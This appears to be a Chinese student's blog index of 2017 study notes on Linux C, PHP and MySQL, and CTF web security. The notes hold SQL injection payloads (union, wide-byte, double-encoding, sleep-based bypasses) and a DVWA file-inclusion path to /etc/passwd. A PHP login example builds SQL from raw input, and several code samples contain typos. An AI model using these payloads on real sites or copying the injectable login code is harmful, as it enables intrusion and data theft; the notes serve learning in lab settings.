hhd


  • 首页

  • 分类
  • shake it!!!

linux c

发表于 2017-09-20 | 分类于 linuxc

gcc编译

安装build-essential软件包
$sudo apt-get install build-essential

编辑了一个c文件后,开始编译

gcc 文件名 -o 执行名字

./执行名字

gcc -c 表示只进行编译,不链接可执行


例子,编写实验。

c源码:

shu.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include<stdio.h>
#include "jisuan.h"
#include<string.h>
#include<stdlib.h>
int main()
{
char a[100];
int i,s=0,sum;
printf("please input tow numbers,first smaller than second:\n");
scanf("%s",a);
for(i=0;i<strlen(a);i++)
{
if(a[i]==' ')
s++;
if(a[i]<'0'||a[i]>'9')
{
printf("输入的不为数字!bye!\n");
exit(0);
}
}
if(s!=1)
{
printf("输入太多了!猪头!\n");
exit(0);
}
else
{
sum=jisuan(a);
printf("the sum is %d\n",sum);
}
return 0;
}
jisuan.h
int jisuan(char a[]);
jisuan.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int jisuan(char a[])
{
int i,flag,a1=0,a2=0;
for(i=0;i<strlen(a);i++)
{
if(a[i]=='/')
flag=i;
}
for(i=0;i<flag;i++)
a1=a1*10+a[i]-48;
for(i=flag+1;i<strlen(a);i++)
a2=a2*10+a[i]-48;
return a1+a2;
}


make相关

被引用程序需要写.h文件。

1
2
3
4
make -f makefile文件名 /指定makefile文件名
-i /忽略错误
-s /表示执行但是不显示执行状况
-d /Debug模式,显示文件详细信息和检测时间

makefile大致文件内容:

1
2
3
4
5
6
7
8
shu:shu.o jisuan.o
gcc shu.o jisuan.o shu
shu.o:shu.c jisuan.h
gcc -c shu.c
jisuan.o:jisuan.c jisuan.h
gcc -c jisuan.c
clean:
rm -f shu*.o

makefile规则:

1
2
3
4
5
1)如果这个工程没有编译过,那么我们的所有c文件都要编译并被链接。
2)如果这个工程的某几个c文件被修改,那么我们只编译被修改的c文件,并链接目标程序。
3)如果这个工程的头文件被改变了,那么我们需要编译引用了这几个头文件的c文件,并链接目标程序。

文件操作
文件描述符,文件的标识符。0表示标准输入文件,1表示标准输出文件,2表示标准错误输出文件。

1、open函数
三个参数:路径名或文件名;打开方式,包括O_RDONLY,O_WRONLY,O_RDWR;
打开失败返回-1
管道方法(个人认为比较有用的):O_TRUNC、O_CREAT
头文件:#include #include #include

2、close函数
参数为fd,文件描述符
关闭文件,成功返回0,失败返回-1
头文件:#include

3、read函数
第一个参数文件描述符,第二个参数输入缓冲区指针(将指定文件内容输出到这里)相当于一个char类型的数组,第三个参数要输入的字节数。
成功时返回读取的字节数,失败返回-1
头文件:#include

4、write函数
第一个参数文件描述符,第二个参数(要写入文件的缓冲区),第三个参数一次写入的字节数。
成功时返回字节数,错误时返回-1
头文件:#include

5、creat函数
个人觉得并没有用…

6、lseek函数
第一个参数文件描述符,第二个参数偏移量,第三个参数是当前位置的基点。
SEEK_SET:开头
SEEK_CUR:当前
SEEK_END:末尾
头文件:#include #include
成功返回从文件开始到当前的偏移量,失败返回-1

7、ftruncate或者truncate函数
第一个参数文件名或路径或文件描述符(看是哪个函数)
成功返回0,失败返回-1
头文件:#include

注:argc与argv[]是有关命令行参数

以下是有关stat的详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
stat(取得文件状态)
相关函数 fstat,lstat,chmod,chown,readlink,utime
表头文件 #include <sys/stat.h>
#include <unistd.h>
定义函数 int stat(const char * file_name,struct stat *buf);
函数说明 stat()用来将参数file_name所指的文件状态,复制到参数buf所指的结构中。
下面是struct stat内各参数的说明
struct stat
{
dev_t st_dev; /*device*/
ino_t st_ino; /*inode*/
mode_t st_mode; /*protection*/
nlink_t st_nlink; /*number of hard links */
uid_t st_uid; /*user ID of owner*/
gid_t st_gid; /*group ID of owner*/
dev_t st_rdev; /*device type */
off_t st_size; /*total size, in bytes*/
unsigned long st_blksize; /*blocksize for filesystem I/O */
unsigned long st_blocks; /*number of blocks allocated*/
time_t st_atime; /* time of lastaccess*/
time_t st_mtime; /* time of last modification */
time_t st_ctime; /* time of last change */
};
st_dev 文件的设备编号
st_ino 文件的i-node
st_mode 文件的类型和存取的权限
st_nlink 连到该文件的硬连接数目,刚建立的文件值为1。
st_uid 文件所有者的用户识别码
st_gid 文件所有者的组识别码
st_rdev 若此文件为装置设备文件,则为其设备编号
st_size 文件大小,以字节计算
st_blksize 文件系统的I/O 缓冲区大小。
st_blcoks 占用文件区块的个数,每一区块大小为512 个字节。
st_atime 文件最近一次被存取或被执行的时间,一般只有在用mknod、utime、read、write与tructate时改变。
st_mtime 文件最后一次被修改的时间,一般只有在用mknod、utime和write时才会改变
st_ctime i-node最近一次被更改的时间,此参数会在文件所有者、组、权限被更改时更新先前所描述的st_mode 则定义了下列数种情况
S_IFMT 0170000 文件类型的位遮罩
S_IFSOCK 0140000 scoket
S_IFLNK 0120000 符号连接
S_IFREG 0100000 一般文件
S_IFBLK 0060000 区块装置
S_IFDIR 0040000 目录
S_IFCHR 0020000 字符装置
S_IFIFO 0010000 先进先出
S_ISUID 04000 文件的(set user-id on execution)位
S_ISGID 02000 文件的(set group-id on execution)位
S_ISVTX 01000 文件的sticky位
S_IRUSR(S_IREAD) 00400 文件所有者具可读取权限
S_IWUSR(S_IWRITE)00200 文件所有者具可写入权限
S_IXUSR(S_IEXEC) 00100 文件所有者具可执行权限
S_IRGRP 00040 用户组具可读取权限
S_IWGRP 00020 用户组具可写入权限
S_IXGRP 00010 用户组具可执行权限
S_IROTH 00004 其他用户具可读取权限
S_IWOTH 00002 其他用户具可写入权限
S_IXOTH 00001 其他用户具可执行权限
上述的文件类型在POSIX 中定义了检查这些类型的宏定义
S_ISLNK (st_mode) 判断是否为符号连接
S_ISREG (st_mode) 是否为一般文件
S_ISDIR (st_mode)是否为目录
S_ISCHR (st_mode)是否为字符装置文件
S_ISBLK (s3e) 是否为先进先出
S_ISSOCK (st_mode) 是否为socket
若一目录具有sticky 位(S_ISVTX),则表示在此目录下的文件只能被该文件所有者、此目录所有者或root来删除或改名。
返回值 执行成功则返回0,失败返回-1,错误代码存于errno
错误代码 ENOENT 参数file_name指定的文件不存在
ENOTDIR 路径中的目录存在但却非真正的目录
ELOOP 欲打开的文件有过多符号连接问题,上限为16符号连接
EFAULT 参数buf为无效指针,指向无法存在的内存空间
EACCESS 存取文件时被拒绝
ENOMEM 核心内存不足
ENAMETOOLONG 参数file_name的路径名称太长

进程操作

进程的概念

具有一定功能的关于一个数据集合的一次运行活动,是处于活动状态的计算机程序。

linux的进程

每个进程用一个task_struct数据结构来表示,数组task包含指向系统所有task_struct结构的指针。最大512个。当前进程用current指针来指示。
每一个进程都要唯一的进程的识别号。(暂时不讲)关于进程调度我不知道有没有学的必要,先放一边。

进程控制

内核创建新进程:并不用fork,vfork调用,属于系统启动一部分。
一般来说,创建新进程,调用fork,vfork函数。

  • fork函数

    创建子进程,完全复制父进程,与其共享数据段和堆栈区域。创建成功返回0,失败返回-1.
    需要sys/types.h与unistd.h

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include<stdio.h>
    #include<sys/types.h>
    #include<unistd.h>
    int main()
    {
    pid_t pid;
    printf("start the testing");
    pid=fork();
    printf("create successfully!pid=%d",pid);
    return 0;
    }

以上例子创建了一个新的进程,并可看出,成功则返回0。pid是专门的 pid_t 类型,fork的返回值是 pid ,fork 无需参数 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#define size 1024
#define key 99
int shmid;
int j=5;
int main()
{
int i,*pint;
pid_t pid;
char *addr;
i=10;
shmid=shmget(size,key, ipc_creat|0777);
pint=shmat(shmid,0,0);
*pint=100;
printf("start the test!\n");
pid=fork();
i++;
j++;
*pint+=1;
printf("pid=%d\n",pif);
printf("i=%d,j=%d\n",i,j);
printf("*pint=%d",*pint);
return 0;
}

子进程执行完之后pid返回0,接着执行父进程返回pid。

  • vfork函数
    也是创建新的子进程。不过主要目的就是用exec调用另外的程序。在vfork使用exec或exit函数之前,子进程与父进程是共享数据段的。而fork是复制父进程。vfork调用exec或exit之前,子进程先运行,父进程挂起,如果需要父进程的进一步活动,则会造成死锁。

我感觉书上那个代码很弱智,就不写了。

  • exec函数
    用于系统调用,对进程执行新的目标程序。
    exec函数会取代执行它的进程, 也就是说, 一旦exec函数执行成功, 它就不会返回了, 进程结束. 但是如果exec函数执行失败, 它会返回失败的信息(即-1), 而且进程继续执行后面的代码!
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char *const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execve(const char *path, char *const argv[], char *const envp[]);

exec函数分为三个部分,文件名或者文件路径部分,参数部分,环境变量部分。
以上的函数定义是不是看起来很烦,我找到有个大佬总结了下,还挺舒服。

1
2
3
4
5
6
7
e后续,参数必须带环境变量部分,环境变零部分参数会成为执行exec函数期间的环境变量, 比较少用
l 后续,命令参数部分必须以"," 相隔,最后1个命令参数必须是NULL
v 后续,命令参数部分必须是1个以NULL结尾的字符串指针数组的头部指针.例如char * pstr就是1个字符串的指针,char * pstr[] 就是数组了,分别指向各个字符串.
p后续,执行文件部分可以不带路径, exec函数会在$PATH中找

如果还是看着烦,就看例子吧。

execv()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int childpid;
int i;
if (fork() == 0)
{
//child process
char * execv_str[] = {"echo", "executed by execv",NULL};
if (execv("/usr/bin/echo",execv_str) <0 )
{
perror("error on exec");
exit(0);
}
}
else
{
/parent process
wait(&childpid);
printf("execv done\n\n");
}
}

execv(“/usr/bin/echo”,execv_str)可以看出只需要两个参数,一个路径名,一个数组,但是这个程序不要轻易尝试,原因试试就知道了。

execvp()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (fork() == 0)
{
//child process
char * execvp_str[] = {"echo", "executed by execvp",">>", "~/abc.txt",NULL};
if (execvp("echo",execvp_str) <0 )
{
perror("error on exec");
exit(0);
}
}
else
{
//parent process
wait(&childpid);
printf("execvp done\n\n");
}

execvp(“echo”,execvp_str) 文件名加数组

举两个例子吧,大概能记住了吧。


fork()函数与exec()函数的联合使用

这个书上的例子还不错,我就把他打印下来。这是一个文件监控程序,修改后就建立一个副本,我觉得还是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
int main(int argc,char *argv[])
{
int fd;
int stat,pid;
struct stat stbuf;
time_t old time=0;
if(argc!=3)
{
fprintf(stderr,"参数错误!");
return 1;
}
if((fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"无法打开文件!");
}
fstat(fd,&stbuf);
old_time=stbuf.st_mtime;
for(;;)
{
fstat(fd,&stbuf);
if(old_time!=stbuf.st_mtime)
{
while(pid=fork()==-1);
if(pid==0)
{
execl("/bin/cp","/bin/cp",argv[1],argv[2],0);
return 3;
}
wait(&stat);
old_time=stbuf.st_mtime;
}
else
sleep(30);
}
}
后台执行:./文件名 file file.bak&
  • system()函数

    参数为一个指针。
    指针为空返回1;
    exec错误返回退出时的返回值;
    调用成功返回shell的结束状态。

例子不举了,因为我要去洗头了。。


进程结束

三种正常结束:return exit _exit
两种异常结束

进程等待

就是将子进程挂起或者立即结束返回状态,若无子进程返回-1。

进程的用户标识号和进程标识号等之后再看吧,内容不多,暂时搁浅。

好玩的sql第一篇

发表于 2017-09-19 | 分类于 sql.fun

第一步:?id=1
正常显示

第二步:?id=1’
显示错误:LIMIT 0,1’ 这表示切片
(注:select * from tablename limit 2,4 即取出第3条至第6条,4条记录)
我们要加引号的话需要将后面的注释掉

第三步:?id=1’–+
利用–+将其闭合,考虑到URL编码问题,这里无法用/**/多行注释

第四步:?id=1’ union select 1,2,3–+ 或者 ?id=1’ order by 3猜解
测试关于字段的个数,从返回结果看出是否正确。

第五步:?id=0’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
查看所有库,information_schema.schemata这个表里面列举了所有数据库的名字,存放在schema_name这个字段里面。

第六步:?id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–+
查看information_schema.tables这个表里面,table_schema元组=’security’的所有table_name这个字段。

哈哈,你猜今天是几月几号呀

文件包含小解

发表于 2017-09-17 | 分类于 文件包含

先给出一个例子:
http://xxx/?file=xx.php
这个网址我们就可以尝试一下读取源码的操作
即file=php://filter/read=convert.base64-encode/resource=index.php

文件包含分为本地文件包含和远程文件包含,
本地包含用DVWA来做实验。

第一个实验
http://10.21.13.97/dvwa/vulnerabilities/fi/
?page=../../../../../../../etc/passwd

php第五篇

发表于 2017-09-13 | 分类于 php

关于文件系统与服务器的交互

一.文件上传

关于配置

1
2
3
4
file_uploads = On 支持文件上传
upload_tmp_dir = "d:/wamp/tmp" 上传文件被处理前临时存放目录
upload_max_filesize = 64M 控制允许上传的文件最大大小
post_max_size 这个...我的电脑上找不到...

文件上传的代码之html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<title>administration - upload new files</title>
</head>
<body>
<h1>上传文件<br/></h1>
<form action=“upload.php" method="post" enctype="multipart/form-data"/>
<div>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
<label for="userfile">上传文件:<br/></label>
<input type="file" name="userfile" id="userfile" />
<input type="submit" value="Send File" />
</div>
</form>
</body>
</html>

文件上传的代码之php

1
2
3
4
5
超级全局数组$_FILES
$_FILES['userfile']['tmp_name'] --- 文件在web服务器中临时存储的位置
$_FILES['userfile']['name'] --- 用户系统中的文件名字
$_FILES['userfile']['size'] --- 文件字节大小
$_FILES['userfile']['type'] --- 文件类型

不写了好累…
未完待续…

php数据库中文显示修改

发表于 2017-09-11 | 分类于 php

博客参考来源
http://blog.csdn.net/u010663668/article/details/54881998
1、在mysql的安装目录下找到my.ini文件(如果没有的话就把my-medium.ini复制,然后重命名为my.ini即可)在mysql5.7中是my-default文件。

2、在my.ini文件中找到[client]字段,在下面加上default-character-set=utf8
找到[mysqld]字段,下面加上 character-set-server=utf8
collation-server=utf8_general_ci
保存并关闭。

3、重启mysql服务

php第四篇

发表于 2017-09-11 | 分类于 php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
简单粗暴的身份验证
<?php
$name=trim($_POST['name']);
$passwd=trim($_POST['password']);
if(!$name||!$passwd)
{
echo "用户名或密码为空,请重新登录!";
exit;
?>
<html>
<head>
<title>Login In</title>
</head>
<body>
<h1>Login In</h1>
<form action="shenfenyanzheng.php" method="post">
<table border="0">
<tr>
<td>用户名</td>
<td><input type="text" name="name" maxlength="13" size="13"></td>
</tr>
<tr>
<td>密码</td>
<td><input type="text" name="password" maxlength="13" size="13"></td>
</tr>
<tr>
<td colspan="18"><input type="submit" value="登录"></td>
</tr>
</table>
</form>
</body>
</html>
<?php
}
else
{
@$db=new mysqli('localhost','root','','users');
if(mysqli_connect_errno())
{
echo "无法与服务器连接";
exit;
}
$db->select_db('users');
$query="select count(*) from users where name = '".$name."' and passwd = '".$passwd."'";
$result=$db->query($query);
if(!$result)
{
echo "无法进行数据库操作";
exit;
}
$row=mysqli_fetch_row($result);
$count=$row[0];
if($count>0)
{
echo "成功登录";
}
else
{
echo "登录失败";
}
}
?>

试了好久,发现如果用户名密码包含中文就不行,不知道错在哪。。。

php第三篇

发表于 2017-09-09 | 分类于 php

使用php从web访问mysql数据库

1.粗略的第一部分

1
2
3
4
5
6
7
8
9
$searchterm=trim($_POST($searchterm));
if(!$searchterm)
{
echo "you have not enter anything.please try again.";
exit;
}
if(!get_magic_quotes_gpc()){
$searchterm=addslashes($searchterm);
}

2.粗略的第二部分

1
2
3
4
5
6
7
8
9
@$db=new mysqli('loalhost','用户名','密码','数据库');
if(mysqli_connect_errno())
{
echo 'could not connect to database.';
exit;
}
apache修改配置:httpd.conf中的MaxCients参数
mysql修改配置:my.conf中的max_connections参数

3.粗略的第三部分

$db->select_db(dbname);

4.粗略的第四部分

1
2
3
4
5
6
7
8
9
10
11
12
$query="select * from books where".$seartype."like %'".$searchterm."$'";
$result=$db->query($query);
$num_results=$result->num_rows;
for($i=0;$i<$num_results;$i++)
{
$row=$result->fetch_assoc;
echo stripslashes($row['关键字']);
$row=$result->fetch_row($result);
echo stripslashes($row[0]);
}

5.粗略的第五部分

1
2
$result->free();
$db->close();

prepared语句一定程度上可以免受sql注入攻击

1
2
3
4
5
6
$query="insert into books value(?,?,?,?)";
$stmt=$db->prepare($query);
$stmt->bind_param("sssd","isbn","author","title","price");
$stmt->excute();
echo $stmt->affected_rows.'book inserted into database';
$stmt->close();

用来查询结果

1
2
$stmt->bind_result();
¥stmt->excute();

每一行一个结果

1
$stmt->fetch();

就是这样,打游戏去耶耶耶!

ctf工具寻址

发表于 2017-09-07 | 分类于 ctf工具

常用web工具:
python运行—虚拟机中的lhy
sqlmap—虚拟机中的kali

sql注入的部分漏洞原理

发表于 2017-09-07 | 分类于 sql注入

第一大类:整数注入
例如:id=-1 union select 1,database(),user()
这种漏洞比较好理解,只是运用起来需要考虑全面一点。

第二大类:编码注入
首先是宽字节注入
一般来说网站都会有addslashes来躲避一些简单的注入,但是如果该网站是使用gbk编码的,那么漏洞又来了。
mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
看例子:
id=1’ 一般来说你都不会得到什么信息,只要这个php文件不是随堂练习
id=1%df%27 ,你会发现有错误反馈,这就是注入的曙光。%df与函数代入的%5c形成了两个字节,gbk认为他是汉字。
接着我们就可以利用 union select来注入了。

iconv同样存在致命的漏洞,虽然避免了宽字节,但是錦‘刚好可以逃出,原理与上述类似。

接着是二次urldecode注入
这也比较好玩,最常见的就是%2527二次转码后变成我们想要的,然后进行注入。

sql注入小技巧

发表于 2017-09-07 | 分类于 sql注入

1.group by pwd with rollup limit 1 offset 2 #
2.如果需要绕过逗号:’ union select case when substring((select xx from xx where xx) from 1 for 1)=’x’ then sleep(5) else 0 end #
3.绕过引号:利用十六进制,如”user”=0x750x730x650x72
4.大于小于绕过:greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值,如:greatest(ascii(substr(database(),0,1)),64)=64

123
hhd

hhd

i'm a good man.

27 日志
11 分类
11 标签
© 2017 hhd
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.2